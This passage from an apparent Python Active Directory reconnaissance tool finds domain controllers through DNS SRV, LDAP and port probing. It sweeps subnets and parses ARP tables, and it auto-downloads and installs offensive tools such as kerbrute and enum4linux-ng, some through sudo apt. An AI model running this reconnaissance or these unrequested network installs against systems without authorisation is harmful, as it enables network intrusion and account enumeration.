only) -- + if not is_ipv4(target): + print(f"[VERBOSE] [auto_detect_dcs] Target is domain name, attempting DNS SRV-based DC discovery...", file=sys.stderr, flush=True) + domain_candidates = [target] + parts = target.split(".") + if len(parts) > 2: + domain_candidates.append(".".join(parts[-2:])) + + for domain in domain_candidates: + srv_dcs = detect_dcs_via_dns_srv(domain, timeout=timeout) + for dc in srv_dcs: + _merge_dc_into_map(dc_map, dc) + if dc.domain: + detected_domain = dc.domain + + # -- Strategy 2: LDAP RootDSE on resolved target IPs -- + print(f"[VERBOSE] [auto_detect_dcs] Probing resolved IPs via LDAP RootDSE for DC confirmation...", file=sys.stderr, flush=True) + for ip in resolved_ips: + ldap_dc = detect_dc_via_ldap(ip, timeout=timeout) + if ldap_dc: + _merge_dc_into_map(dc_map, ldap_dc) + if ldap_dc.domain: + detected_domain = ldap_dc.domain + + # If we discovered a domain from LDAP but started with an IP, try SRV now + if detected_domain and is_ipv4(target): + print(f"[VERBOSE] [auto_detect_dcs] Domain '{detected_domain}' discovered from LDAP on IP target, running SRV lookup...", file=sys.stderr, flush=True) + srv_dcs = detect_dcs_via_dns_srv(detected_domain, timeout=timeout) + for dc in srv_dcs: + _merge_dc_into_map(dc_map, dc) + + # -- Strategy 3: Port fingerprint all resolved IPs -- + print(f"[VERBOSE] [auto_detect_dcs] Port-fingerprinting resolved IPs for DC signature ports...", file=sys.stderr, flush=True) + for ip in resolved_ips: + fp_dc = detect_dc_via_port_fingerprint(ip, timeout=timeout) + if fp_dc: + _merge_dc_into_map(dc_map, fp_dc) + + # -- Strategy 4: Subnet sweep /24 -> /23 -> /22 expansion -- + if do_network_scan: + print(f"[VERBOSE] [auto_detect_dcs] Starting subnet sweep for additional DCs (starting at /24)...", file=sys.stderr, flush=True) + for cidr_prefix in (24, 23, 22): + if dc_map: + print(f"[VERBOSE] [auto_detect_dcs] DC(s) already found, skipping /{cidr_prefix} subnet expansion", file=sys.stderr, flush=True) + break + + subnet_domain = _scan_subnet_for_dcs(dc_map, resolved_ips, cidr_prefix, timeout) + if subnet_domain: + detected_domain = subnet_domain + + if dc_map: + print(f"[VERBOSE] [auto_detect_dcs] DC(s) discovered during /{cidr_prefix} subnet sweep", file=sys.stderr, flush=True) + elif cidr_prefix == 24: + print(f"[VERBOSE] [auto_detect_dcs] No DCs found in /24 subnets, expanding search to /23...", file=sys.stderr, flush=True) + elif cidr_prefix == 23: + print(f"[VERBOSE] [auto_detect_dcs] No DCs found in /23 subnets, expanding search to /22...", file=sys.stderr, flush=True) + + # -- Strategy 5: DNS-based subnet discovery & scan new subnets for DCs -- + if do_network_scan: + print("[VERBOSE] [auto_detect_dcs] Running DNS-based subnet discovery (SRV sites, AXFR, reverse DNS, common hostnames)...", file=sys.stderr, flush=True) + new_subnets = discover_subnets_via_dns( + target=target, + resolved_ips=resolved_ips, + detected_domain=detected_domain, + timeout=timeout, + ) + if new_subnets: + print(f"[VERBOSE] [auto_detect_dcs] DNS discovery found {len(new_subnets)} new subnet(s), scanning for DCs...", file=sys.stderr, flush=True) + for subnet_cidr in new_subnets: + net = ipaddress.IPv4Network(subnet_cidr, strict=False) + sample_offsets = [1, 2, 3, 10, 20, 50, 100, 200, 253, 254] + for offset in sample_offsets: + ip = str(net.network_address + offset) + try: + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.settimeout(min(timeout, 2.0)) + if s.connect_ex((ip, 88)) == 0: + s.close() + print(f"[VERBOSE] [auto_detect_dcs] Kerberos port open on DNS-discovered subnet host {ip}, fingerprinting...", file=sys.stderr, flush=True) + fp_dc = detect_dc_via_port_fingerprint(ip, timeout=timeout) + if fp_dc: + _merge_dc_into_map(dc_map, fp_dc) + ldap_dc = detect_dc_via_ldap(ip, timeout=timeout) + if ldap_dc: + _merge_dc_into_map(dc_map, ldap_dc) + if ldap_dc.domain and not detected_domain: + detected_domain = ldap_dc.domain + else: + s.close() + except socket.error: + pass + + # -- Post-processing: propagate domain, fill missing port info -- + if detected_domain: + for dc in dc_map.values(): + if not dc.domain: + dc.domain = detected_domain + + for ip, dc in dc_map.items(): + if not dc.open_ports: + print(f"[VERBOSE] [auto_detect_dcs] Filling missing port data for DC {ip}...", file=sys.stderr, flush=True) + fp = detect_dc_via_port_fingerprint(ip, timeout=timeout) + if fp: + dc.open_ports = fp.open_ports + dc.services = fp.services + + dcs = sorted(dc_map.values(), key=lambda d: (-d.confidence, d.ip)) + GLOBAL_PROFILER.dcs_detected = len(dcs) + + print(f"[VERBOSE] [auto_detect_dcs] === Detection complete: {len(dcs)} Domain Controller(s) identified ===", file=sys.stderr, flush=True) + for dc in dcs: + print( + f"[VERBOSE] [auto_detect_dcs] DC {dc.ip} | hostname={dc.hostname} | domain={dc.domain} " + f"| methods={dc.detection_methods} | GC={dc.is_gc} | confidence={dc.confidence:.0%}", + file=sys.stderr, flush=True, + ) + + return dcs, detected_domain + + +# ============================================================================ +# DNS RECONNAISSANCE & ARP HIERARCHY FALLBACK SUBSYSTEM +# ============================================================================ + +def reverse_dns( + ip: str, + timeout: float = 3.0, +) -> dict[str, Any]: + print(f"[VERBOSE] [reverse_dns] Initiating dnspython record gathering for IP: {ip} (Timeout: {timeout}s)", file=sys.stderr, flush=True) + result = { + "ip": ip, + "fqdn": None, + "aliases": [], + "addresses": [], + "records": {}, + "status": "unknown", + "error": None, + } + + try: + if is_ipv4(ip): + rev_name = dns.reversename.from_address(ip) + try: + print(f"[VERBOSE] [reverse_dns] Querying PTR mapping record for: {rev_name}", file=sys.stderr, flush=True) + ptr_answers = GLOBAL_DNS_CONFIG.resolve(str(rev_name), "PTR") + fqdns = [str(rdata).rstrip(".") for rdata in ptr_answers if rdata] + if fqdns: + result["fqdn"] = fqdns[0] + result["aliases"] = fqdns[1:] + result["status"] = "resolved" + result["records"]["PTR"] = fqdns + print(f"[VERBOSE] [reverse_dns] PTR lookup successful: {result['fqdn']}", file=sys.stderr, flush=True) + except (dns.resolver.NXDOMAIN, dns.resolver.NoAnswer, dns.resolver.Timeout, Exception) as ptr_exc: + print(f"[VERBOSE] [reverse_dns] PTR query safely bypassed or timed out for {ip}: {ptr_exc}", file=sys.stderr, flush=True) + result["status"] = "no-ptr" + else: + rev_name = dns.reversename.from_address(ip) + try: + ptr_answers = GLOBAL_DNS_CONFIG.resolve(str(rev_name), "PTR") + fqdns = [str(rdata).rstrip(".") for rdata in ptr_answers if rdata] + if fqdns: + result["fqdn"] = fqdns[0] + result["aliases"] = fqdns[1:] + result["status"] = "resolved" + result["records"]["PTR"] = fqdns + except Exception: + pass + + target_name = result["fqdn"] or ip + print(f"[VERBOSE] [reverse_dns] Querying full suite of resource records for target: {target_name}", file=sys.stderr, flush=True) + for rtype in ["A", "AAAA", "TXT", "MX", "NS", "SOA"]: + try: + answers = GLOBAL_DNS_CONFIG.resolve(target_name, rtype) + records = [str(rdata).rstrip(".") for rdata in answers] + if records: + result["records"][rtype] = records + if rtype == "A": + result["addresses"] = sorted( + { + addr + for addr in records + if is_ipv4(addr) + } + ) + except Exception as rtype_exc: + print(f"[VERBOSE] [reverse_dns] Non-critical lookup failure for {rtype} record on {target_name}: {rtype_exc}", file=sys.stderr, flush=True) + continue + + if not result["status"] == "resolved" and not result["records"]: + result["status"] = "no-ptr" + + except (ImportError, ModuleNotFoundError) as mod_exc: + GLOBAL_PROFILER.record_error(f"Missing dependency package: {mod_exc}") + result["status"] = "error" + result["error"] = "dnspython module not installed" + except dns.resolver.Timeout as timeout_exc: + print(f"[VERBOSE] [reverse_dns] Resolver timed out: {timeout_exc}", file=sys.stderr, flush=True) + result["status"] = "timeout" + result["error"] = f"timeout after {timeout}s" + except Exception as exc: + GLOBAL_PROFILER.record_error(f"Unexpected exception during reverse DNS processing: {exc}") + result["status"] = "dns-error" + result["error"] = str(exc) + + return result + + +def parse_arp_table() -> list[str]: + print("[VERBOSE] [parse_arp_table] Activating structural ARP table parsing hierarchy fallback...", file=sys.stderr, flush=True) + discovered_ips = set() + + proc_arp = Path("/proc/net/arp") + if proc_arp.is_file(): + print("[VERBOSE] [parse_arp_table] Extracting addresses directly from kernel /proc/net/arp table...", file=sys.stderr, flush=True) + try: + content = proc_arp.read_text(encoding="utf-8", errors="replace") + for line in content.splitlines()[1:]: + parts = line.split() + if parts and len(parts) >= 4: + ip = parts[0] + if is_usable_host(ip): + discovered_ips.add(ip) + except Exception as exc: + GLOBAL_PROFILER.record_error(f"Failed parsing kernel ARP cache table: {exc}") + + if not discovered_ips: + print("[VERBOSE] [parse_arp_table] Executing external system utility `arp -a`...", file=sys.stderr, flush=True) + arp_cmd = shutil.which("arp") or "arp" + ok, output = run_command([arp_cmd, "-a"], timeout=10) + if ok and output: + ip_pattern = re.compile(r"(?:\()?\b([0-9]{1,3}(?:\.[0-9]{1,3}){3})\b(?:\))?") + for match in ip_pattern.finditer(output): + ip = match.group(1) + if is_usable_host(ip): + discovered_ips.add(ip) + + filtered_hosts = filter_live_hosts(list(discovered_ips)) + print(f"[VERBOSE] [parse_arp_table] ARP table fallback successfully gathered hosts: {filtered_hosts}", file=sys.stderr, flush=True) + return filtered_hosts + + +# ============================================================================ +# RUNTIME ENVIRONMENT & PATH BOOTSTRAPPING SUBSYSTEM +# ============================================================================ + +def bootstrap_environment() -> dict[str, Any]: + print("[VERBOSE] [bootstrap_environment] Provisioning operational runtime environment pathing...", file=sys.stderr, flush=True) + system = platform.system() + home = Path.home() + + if system == "Windows": + paths = [ + home / "AppData" / "Local" / "Programs" / "Python" / "Python311" / "Scripts", + home / "AppData" / "Local" / "Programs" / "Python" / "Python310" / "Scripts", + home / "AppData" / "Local" / "Programs" / "Python" / "Python39" / "Scripts", + Path("C:\\Program Files\\Git\\bin"), + Path("C:\\Program Files\\Git\\cmd"), + Path("C:\\Program Files\\nmap"), + Path("C:\\Program Files (x86)\\nmap"), + Path("C:\\Program Files\\OpenSSL\\bin"), + Path("C:\\Windows\\System32"), + Path("C:\\Windows"), + ] + else: + paths = [ + home / ".local" / "bin", + home / ".local" / "share" / "bin", + home / "go" / "bin", + Path("/usr/local/bin"), + Path("/usr/bin"), + Path("/sbin"), + Path("/usr/sbin"), + ] + + existing = os.environ.get( + "PATH", + "", + ).split(os.pathsep) + + merged: list[str] = [] + + for item in ( + [str(path) for path in paths] + + existing + ): + if item and item not in merged: + merged.append(item) + + os.environ["PATH"] = os.pathsep.join( + merged + ) + print(f"[VERBOSE] [bootstrap_environment] Host OS: {system} | Active interpreter: {sys.executable}", file=sys.stderr, flush=True) + print(f"[VERBOSE] [bootstrap_environment] Updated PATH: {os.environ['PATH'][:500]}...", file=sys.stderr, flush=True) + + return { + "platform": system, + "python": sys.executable, + "python_version": platform.python_version(), + "path": os.environ["PATH"], + } + + +# ============================================================================ +# EXECUTABLE DISCOVERY SUBSYSTEM +# ============================================================================ + +def find_executable( + tool: str, +) -> str | None: + print(f"[VERBOSE] [find_executable] Locating execution binary for: {tool}", file=sys.stderr, flush=True) + bootstrap_environment() + + if tool == "enum4linux_ng": + local_candidates = [ + Path.cwd() / "enum4linux-ng" / "enum4linux-ng.py", + Path(__file__).resolve().parent / "enum4linux-ng" / "enum4linux-ng.py", + ] + + for candidate in local_candidates: + print(f"[VERBOSE] [find_executable] Inspecting path candidate: {candidate}", file=sys.stderr, flush=True) + if candidate.is_file(): + resolved_path = str(candidate.resolve()) + print(f"[VERBOSE] [find_executable] Confirmed local repository script: {resolved_path}", file=sys.stderr, flush=True) + return resolved_path + + candidates = EXECUTABLES.get(tool, []) + print(f"[VERBOSE] [find_executable] Searching for candidates: {candidates}", file=sys.stderr, flush=True) + + for candidate in candidates: + found = shutil.which(candidate) + if found: + print(f"[VERBOSE] [find_executable] Located binary match via shutil.which: {found}", file=sys.stderr, flush=True) + return found + print(f"[VERBOSE] [find_executable] Candidate '{candidate}' not found in PATH", file=sys.stderr, flush=True) + + print(f"[VERBOSE] [find_executable] Binary for tool '{tool}' is currently missing from path. Candidates checked: {candidates}", file=sys.stderr, flush=True) + return None + + +# ============================================================================ +# SUBPROCESS EXECUTION PIPELINE +# ============================================================================ + +def run_command( + command: list[str], + timeout: int = 900, +) -> tuple[bool, str]: + print(f"[VERBOSE] [run_command] Launching subprocess: {' '.join(command)} [Timeout: {timeout}s]", file=sys.stderr, flush=True) + try: + process = subprocess.run( + command, + stdin=subprocess.DEVNULL, + stdout=subprocess.PIPE, + stderr=subprocess.STDOUT, + text=True, + encoding="utf-8", + errors="replace", + timeout=timeout, + check=False, + shell=False, + ) + + print(f"[VERBOSE] [run_command] Subprocess exited cleanly with return code: {process.returncode}", file=sys.stderr, flush=True) + return ( + process.returncode == 0, + process.stdout or "", + ) + + except subprocess.TimeoutExpired: + GLOBAL_PROFILER.record_error(f"Command execution timed out after {timeout} seconds: {' '.join(command)}") + return False, "timeout" + + except OSError as exc: + GLOBAL_PROFILER.record_error(f"Subprocess system operational error: {exc}") + return False, str(exc) + + +# ============================================================================ +# AUTOMATED TOOL INSTALLATION & PROVISIONING +# ============================================================================ + +def install_kerbrute() -> dict[str, Any]: + print("[VERBOSE] [install_kerbrute] Executing provisioning handler for kerbrute...", file=sys.stderr, flush=True) + existing = find_executable("kerbrute_userenum") + + if existing: + print(f"[VERBOSE] [install_kerbrute] Tool found pre-installed at path: {existing}", file=sys.stderr, flush=True) + return { + "tool": "kerbrute_userenum", + "success": True, + "verified": True, + "method": "binary-present", + "executable": existing, + } + + try: + import urllib.request + except ImportError: + GLOBAL_PROFILER.record_error("urllib library missing; cannot download kerbrute binary") + return { + "tool": "kerbrute_userenum", + "success": False, + "verified": False, + "method": "urllib-missing", + "executable": None, + } + + kerbrute_url = get_kerbrute_url() + install_dir = Path.home() / ".local" / "bin" + system = platform.system() + + if system == "Windows": + install_dir = Path.home() / "AppData" / "Local" / "bin" + executable_name = "kerbrute.exe" + else: + executable_name = "kerbrute" + + install_dir.mkdir(parents=True, exist_ok=True) + binary_path = install_dir / executable_name + + print(f"[VERBOSE] [install_kerbrute] Downloading kerbrute binary from {kerbrute_url}", file=sys.stderr, flush=True) + + try: + import urllib.request + urllib.request.urlretrieve(kerbrute_url, str(binary_path)) + if system != "Windows": + binary_path.chmod(0o755) + print(f"[VERBOSE] [install_kerbrute] Kerbrute binary downloaded to {binary_path}", file=sys.stderr, flush=True) + except Exception as e: + GLOBAL_PROFILER.record_error(f"Failed to download kerbrute binary: {e}") + return { + "tool": "kerbrute_userenum", + "success": False, + "verified": False, + "method": "download-failed", + "executable": None, + "error": str(e), + } + + bootstrap_environment() + executable = find_executable("kerbrute_userenum") + + return { + "tool": "kerbrute_userenum", + "success": executable is not None, + "verified": executable is not None, + "method": "binary-download", + "executable": executable, + "binary_path": str(binary_path.resolve()), + } + + +def install_enum4linux_ng() -> dict[str, Any]: + print("[VERBOSE] [install_enum4linux_ng] Executing provisioning handler for enum4linux-ng...", file=sys.stderr, flush=True) + existing = find_executable( + "enum4linux_ng" + ) + + if existing: + print(f"[VERBOSE] [install_enum4linux_ng] Tool found pre-installed at path: {existing}", file=sys.stderr, flush=True) + return { + "tool": "enum4linux_ng", + "success": True, + "verified": True, + "method": "git-checkout-present", + "executable": existing, + } + + git = shutil.which("git") + python = ( + shutil.which("python3") + or shutil.which("python") + or sys.executable + ) + + if not git: + GLOBAL_PROFILER.record_error("Git utility missing; cannot clone enum4linux-ng repository") + return { + "tool": "enum4linux_ng", + "success": False, + "verified": False, + "method": "git-not-found", + "executable": None, + } + + repo_dir = Path.cwd() / ENUM4LINUX_NG_DIR + + if not repo_dir.exists(): + print(f"[VERBOSE] [install_enum4linux_ng] Cloning remote git source code from {ENUM4LINUX_NG_GIT}", file=sys.stderr, flush=True) + clone = [ + git, + "clone", + "--depth", + "1", + ENUM4LINUX_NG_GIT, + str(repo_dir), + ] + + ok_clone, clone_output = run_command(clone) + + if not ok_clone: + GLOBAL_PROFILER.record_error(f"Git clone operation failed for enum4linux-ng: {clone_output}") + return { + "tool": "enum4linux_ng", + "success": False, + "verified": False, + "method": "git-clone-failed", + "command": clone, + "executable": None, + "output": clone_output[-4000:], + } + else: + clone_output = "repository directory already exists" + print(f"[VERBOSE] [install_enum4linux_ng] Target directory already exists: {repo_dir}", file=sys.stderr, flush=True) + + script = repo_dir / "enum4linux-ng.py" + + if not script.is_file(): + GLOBAL_PROFILER.record_error(f"Main execution script file missing from repo tree: {script}") + return { + "tool": "enum4linux_ng", + "success": False, + "verified": False, + "method": "script-not-found", + "executable": None, + "repository": str(repo_dir.resolve()), + "output": clone_output[-4000:], + } + + requirements = repo_dir / "requirements.txt" + requirements_output = "" + + if requirements.is_file(): + print(f"[VERBOSE] [install_enum4linux_ng] Installing repository python package requirements...", file=sys.stderr, flush=True) + install_requirements = [ + python, + "-m", + "pip", + "install", + "-r", + str(requirements), + ] + + ok_requirements, requirements_output = ( + run_command(install_requirements) + ) + + if not ok_requirements: + GLOBAL_PROFILER.record_error("Pip requirement dependency installation failed for enum4linux-ng") + return { + "tool": "enum4linux_ng", + "success": False, + "verified": False, + "method": "requirements-install-failed", + "command": install_requirements, + "executable": str(script.resolve()), + "repository": str(repo_dir.resolve()), + "output": ( + clone_output + + "\n" + + requirements_output + )[-4000:], + } + + print("[VERBOSE] [install_enum4linux_ng] enum4linux-ng successfully configured and ready.", file=sys.stderr, flush=True) + return { + "tool": "enum4linux_ng", + "success": True, + "verified": True, + "method": "git-clone", + "command": [ + git, + "clone", + "--depth", + "1", + ENUM4LINUX_NG_GIT, + str(repo_dir), + ], + "executable": str(script.resolve()), + "repository": str(repo_dir.resolve()), + "python": python, + "output": ( + clone_output + + "\n" + + requirements_output + )[-4000:], + } + + +def install_pip_tool(tool: str) -> dict[str, Any]: + print(f"[VERBOSE] [install_pip_tool] Installing pip-managed package for tool: {tool}", file=sys.stderr, flush=True) + packages = PIP_PACKAGES.get(tool, []) + if not packages: + GLOBAL_PROFILER.record_error(f"No package mapping for {tool} in PIP_PACKAGES") + return {"tool": tool, "success": False, "verified": False, "method": "no-package-mapping", "executable": None} + + python = shutil.which("python3") or shutil.which("python") or sys.executable + print(f"[VERBOSE] [install_pip_tool] Using Python: {python}", file=sys.stderr, flush=True) + print(f"[VERBOSE] [install_pip_tool] Installing packages: {packages}", file=sys.stderr, flush=True) + + # Try with build isolation first + install_cmd = [python, "-m", "pip", "install", "--upgrade", "--quiet", *packages] + print(f"[VERBOSE] [install_pip_tool] Executing: {' '.join(install_cmd)}", file=sys.stderr, flush=True) + + ok, output = run_command(install_cmd, timeout=600) # 10 minute timeout for pip + + # If build fails (e.g., impacket aardwolf), try without build isolation + if not ok and "aardwolf" in output.lower(): + print(f"[VERBOSE] [install_pip_tool] Build failed with aardwolf, retrying without build isolation", file=sys.stderr, flush=True) + install_cmd_retry = [python, "-m", "pip", "install", "--upgrade", "--quiet", "--no-build-isolation", *packages] + ok, output = run_command(install_cmd_retry, timeout=600) + + # If still failing, try with --no-binary flag + if not ok and ("error" in output.lower() or "failed" in output.lower()): + print(f"[VERBOSE] [install_pip_tool] Still failing, trying with --no-binary flag", file=sys.stderr, flush=True) + install_cmd_retry = [python, "-m", "pip", "install", "--upgrade", "--quiet", "--no-binary", ":all:", *packages] + ok, output = run_command(install_cmd_retry, timeout=600) + + if not ok: + print(f"[ERROR] [install_pip_tool] Pip install failed for {tool}: {output[:500]}", file=sys.stderr, flush=True) + GLOBAL_PROFILER.record_error(f"Pip install failed for {tool}: {output[:200]}") + else: + print(f"[VERBOSE] [install_pip_tool] Pip install succeeded for {packages}", file=sys.stderr, flush=True) + # Verify package was installed with pip show + for pkg in packages: + verify_cmd = [python, "-m", "pip", "show", pkg] + verify_ok, verify_output = run_command(verify_cmd, timeout=30) + if verify_ok: + print(f"[VERBOSE] [install_pip_tool] Package {pkg} verified installed: {verify_output.split(chr(10))[0][:100]}", file=sys.stderr, flush=True) + else: + print(f"[VERBOSE] [install_pip_tool] Could not verify package {pkg}: {verify_output[:200]}", file=sys.stderr, flush=True) + + # Update environment paths multiple times to ensure newly installed tools are found + executable = None + for attempt in range(3): + bootstrap_environment() + executable = find_executable(tool) + if executable: + print(f"[VERBOSE] [install_pip_tool] Found executable on attempt {attempt + 1}: {executable}", file=sys.stderr, flush=True) + break + print(f"[VERBOSE] [install_pip_tool] Executable not found on attempt {attempt + 1}, retrying...", file=sys.stderr, flush=True) + time.sleep(0.5) + + return { + "tool": tool, + "success": ok and executable is not None, + "verified": executable is not None, + "method": "pip", + "command": install_cmd, + "executable": executable, + "output": output[-4000:], + "pip_packages": packages, + } + + +def install_apt_tool( + tool: str, +) -> dict[str, Any]: + print(f"[VERBOSE] [install_apt_tool] Executing system APT package installation handler for: {tool}", file=sys.stderr, flush=True) + apt = shutil.which("apt-get") + + if not apt: + GLOBAL_PROFILER.record_error("apt-get package manager unavailable on underlying OS") + return { + "tool": tool, + "success": False, + "verified": False, + "method": "apt-not-found", + "executable": None, + } + + if hasattr(os, "geteuid") and os.geteuid() != 0: + sudo = shutil.which("sudo") + + if not sudo: + GLOBAL_PROFILER.record_error("Non-root runtime permissions detected without sudo privilege utility") + return { + "tool": tool, + "success": False, + "verified": False, + "method": "sudo-required", + "executable": None, + } + + prefix = [sudo] + else: + prefix = [] + + update = prefix + [apt, "update"] + install = prefix + [apt, "install", "-y", *APT_PACKAGES[tool]] + + print(f"[VERBOSE] [install_apt_tool] Invoking package repository update...", file=sys.stderr, flush=True) + ok_update, update_output = run_command(update) + + if not ok_update: + GLOBAL_PROFILER.record_error(f"APT repository synchronization failed: {update_output}") + return { + "tool": tool, + "success": False, + "verified": False, + "method": "apt-update-failed", + "command": update, + "output": update_output[-4000:], + "executable": None, + } + + print(f"[VERBOSE] [install_apt_tool] Installing software package: {APT_PACKAGES[tool]}", file=sys.stderr, flush=True) + ok_install, install_output = run_command(install) + + bootstrap_environment() + executable = find_executable(tool) + + return { + "tool": tool, + "success": ok_install and executable is not None, + "verified": executable is not None, + "method": "apt", + "command": install, + "output": (update_output + "\n" + install_output)[-4000:], + "executable": executable, + } + + +def install_git_tool( + tool: str, +) -> dict[str, Any]: + print(f"[VERBOSE] [install_git_tool] Git-based installation for: {tool}", file=sys.stderr, flush=True) + + git_config = GIT_PACKAGES.get(tool) + if not git_config: + return { + "tool": tool, + "success": False, + "verified": False, + "method": "no-git-config", + "executable": None, + } + + git = shutil.which("git") + if not git: + print("[ERROR] [install_git_tool] Git not found on system", file=sys.stderr, flush=True) + return { + "tool": tool, + "success": False, + "verified": False, + "method": "git-not-found", + "executable": None, + } + + url = git_config["url"] + branch = git_config.get("branch", "main") + install_cmd = git_config.get("install_cmd", "pip install -e .") + + clone_dir = Path.cwd() / f"tool-{tool}" + print(f"[VERBOSE] [install_git_tool] Cloning {url} to {clone_dir}", file=sys.stderr, flush=True) + + clone_cmd = [git, "clone", "-b", branch, "--depth", "1", url, str(clone_dir)] + ok_clone, clone_output = run_command(clone_cmd, timeout=300) + + if not ok_clone: + print(f"[ERROR] [install_git_tool] Clone failed: {clone_output[:300]}", file=sys.stderr, flush=True) + return { + "tool": tool, + "success": False, + "verified": False, + "method": "git-clone-failed", + "executable": None, + "output": clone_output[-2000:], + } + + # Install from cloned directory + print(f"[VERBOSE] [install_git_tool] Installing from {clone_dir}", file=sys.stderr, flush=True) + + python = shutil.which("python3") or shutil.which("python") or sys.executable + + # Change to clone directory and run install + original_cwd = Path.cwd() + os.chdir(clone_dir) + + full_install_cmd = [python, "-m", "pip", "install", "-e", "."] + print(f"[VERBOSE] [install_git_tool] Executing: {' '.join(full_install_cmd)}", file=sys.stderr, flush=True) + + ok_install, install_output = run_command(full_install_cmd, timeout=600) + + os.chdir(original_cwd) + + if not ok_install: + print(f"[ERROR] [install_git_tool] Install failed: {install_output[:300]}", file=sys.stderr, flush=True) + return { + "tool": tool, + "success": False, + "verified": False, + "method": "git-install-failed", + "executable": None, + "output": install_output[-2000:], + } + + # Refresh environment and verify + bootstrap_environment() + executable = find_executable(tool) + + return { + "tool": tool, + "success": executable is not None, + "verified": executable is not None, + "method": "git", + "url": url, + "branch": branch, + "clone_dir": str(clone_dir.resolve()), + "executable": executable, + "output": install_output[-2000:], + } + + +def install_winget_tool( + tool: str, +) -> dict[str, Any]: + print(f"[VERBOSE] [install_winget_tool] Attempting Windows Package Manager installation for: {tool}", file=sys.stderr, flush=True) + winget = shutil.which("winget") + + if not winget: + print("[VERBOSE] [install_winget_tool] winget not found on system", file=sys.stderr, flush=True) + return { + "tool": tool, + "success": False, + "verified": False, + "method": "winget-not-found", + "executable": None, + } + + packages = WINGET_PACKAGES.get(tool, []) + if not packages: + print(f"[VERBOSE] [install_winget_tool] No WINGET mapping for {tool}", file=sys.stderr, flush=True) + return { + "tool": tool, + "success": False, + "verified": False, + "method": "no-winget-mapping", + "executable": None, + } + + print(f"[VERBOSE] [install_winget_tool] Installing via WINGET: {packages}", file=sys.stderr, flush=True) + + for package in packages: + install_cmd = [winget, "install", "--id", package, "--accept-package-agreements", "--accept-source-agreements", "-q"] + print(f"[VERBOSE] [install_winget_tool] Executing: {' '.join(install_cmd)}", file=sys.stderr, flush=True) + + ok, output = run_command(install_cmd, timeout=300) + + if ok: + print(f"[VERBOSE] [install_winget_tool] WINGET install succeeded for {package}", file=sys.stderr, flush=True) + else: + print(f"[VERBOSE] [install_winget_tool] WINGET install failed for {package}: {output[:200]}", file=sys.stderr, flush=True) + + # Refresh environment and check for executable + bootstrap_environment() + executable = find_executable(tool) + + return { + "tool": tool, + "success": executable is not None, + "verified": executable is not None, + "method": "winget", + "packages": packages, + "executable": executable, + "output": output[-2000:] if 'output' in locals() else "", + } + + +def auto_install_tool( + tool: str, +) -> dict[str, Any]: + print(f"[VERBOSE] [auto_install_tool] Evaluating automated deployment pipeline for tool: {tool}", file=sys.stderr, flush=True) + if tool not in AUTO_INSTALL_TOOLS: + return { + "tool": tool, + "success": False, + "verified": False, + "method": "not-allowlisted", + "executable": None, + } + + existing = find_executable(tool) + if existing: + return { + "tool": tool, + "success": True, + "verified": True, + "method": "already-installed", + "executable": existing, + } + + if tool == "enum4linux_ng": + return install_enum4linux_ng() + + if tool == "kerbrute_userenum": + return install_kerbrute() + + # Try git-based installations for problematic packages + if tool in GIT_PACKAGES: + print(f"[VERBOSE] [auto_install_tool] Attempting git-based installation for {tool}", file=sys.stderr, flush=True) + result = install_git_tool(tool) + if result.get("executable"): + return result + print(f"[VERBOSE] [auto_install_tool] Git installation failed, attempting pip fallback", file=sys.stderr, flush=True) + + # Try platform-specific package managers first + if platform.system() == "Windows" and tool in WINGET_PACKAGES: + print(f"[VERBOSE] [auto_install_tool] Attempting WINGET installation for {tool}", file=sys.stderr, flush=True) + result = install_winget_tool(tool) + if result.get("executable"): + return result + print(f"[VERBOSE] [auto_install_tool] WINGET failed, falling back to pip", file=sys.stderr, flush=True) + + if platform.system() == "Linux" and tool in APT_PACKAGES: + return install_apt_tool(tool) + + # Fallback to pip for cross-platform tools + if tool in PIP_PACKAGES: + return install_pip_tool(tool) + + return { + "tool": tool, + "success": False, + "verified": False, + "method": "unsupported-platform", + "executable": None, + } + + +# ============================================================================ +# TOOL REGISTRY DISCOVERY SUBSYSTEM +# ============================================================================ + +def discover_tools() -> dict[str, Any]: + print("[VERBOSE] [discover_tools] Running diagnostic audit on local command-line binaries...", file=sys.stderr, flush=True) + available = [] + unavailable = [] + + for tool in sorted(AD_TOOLS): + executable = find_executable(tool) + if executable: + available.append(tool) + else: + unavailable.append(tool) + + print(f"[VERBOSE] [discover_tools] Verified Available Tools: {available}", file=sys.stderr, flush=True) + print(f"[VERBOSE] [discover_tools] Missing Unavailable Tools: {unavailable}", file=sys.stderr, flush=True) + return { + "available": available, + "unavailable": unavailable, + } + + +# ============================================================================ +# NMAP HOST DISCOVERY SUBSYSTEM +# ============================================================================ + +def discover_hosts( + network: str, + timeout: int = 120, +) -> dict[str, Any]: + print(f"[VERBOSE] [discover_hosts] Initiating active Nmap network host sweep on subnet: {network}", file=sys.stderr, flush=True) + executable = find_executable("nmap_scan") + + if not executable: + GLOBAL_PROFILER.record_error("Nmap binary unavailable; skipping active subnet host sweep") + return { + "network": network, + "status": "nmap-not-installed", + "live_hosts": [], + } + + command = [ + executable, + "-sn", + "-n", + "-v", + network, + ] + + try: + process = subprocess.run( + command, + stdin=subprocess.DEVNULL, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + text=True, + encoding="utf-8", + errors="replace", + timeout=timeout, + check=False, + shell=False, + ) + + hosts = [] + pattern = re.compile( + r"^Nmap scan report for " + r"(?:[^(]+\()?([0-9.]+)\)?$", + re.MULTILINE, + ) + + for match in pattern.finditer( + process.stdout or "" + ): + ip = match.group(1) + if is_usable_host(ip): + hosts.append(ip) + + hosts = filter_live_hosts(hosts) + GLOBAL_PROFILER.live_hosts_scanned += len(hosts) + print(f"[VERBOSE] [discover_hosts] Discovered responsive live endpoints: {hosts}", file=sys.stderr, flush=True) + + return { + "network": network, + "status": ( + "completed" + if process.returncode == 0 + else "completed-with-errors" + ), + "live_hosts": hosts, + "stderr": process.stderr or "", + } + + except subprocess.TimeoutExpired: + GLOBAL_PROFILER.record_error(f"Nmap host discovery timed out on network {network}") + return { + "network": network, + "status": "timeout", + "live_hosts": [], + } + + except OSError as exc: + GLOBAL_PROFILER.record_error(f"Subprocess system error during Nmap host discovery: {exc}") + return { + "network": network, + "status": "error", + "live_hosts": [], + "stderr": str(exc), + } + + +def is_usable_host( + host: str, +) -> bool: + try: + address = ipaddress.ip_address(host) + return ( + address.version == 4 + and not address.is_loopback + and not address.is_unspecified + and not address.is_multicast + ) + except ValueError: + return False + + +def filter_live_hosts( + hosts: list[str], +) -> list[str]: + return sorted( + { + str( + ipaddress.ip_address(host) + ) + for 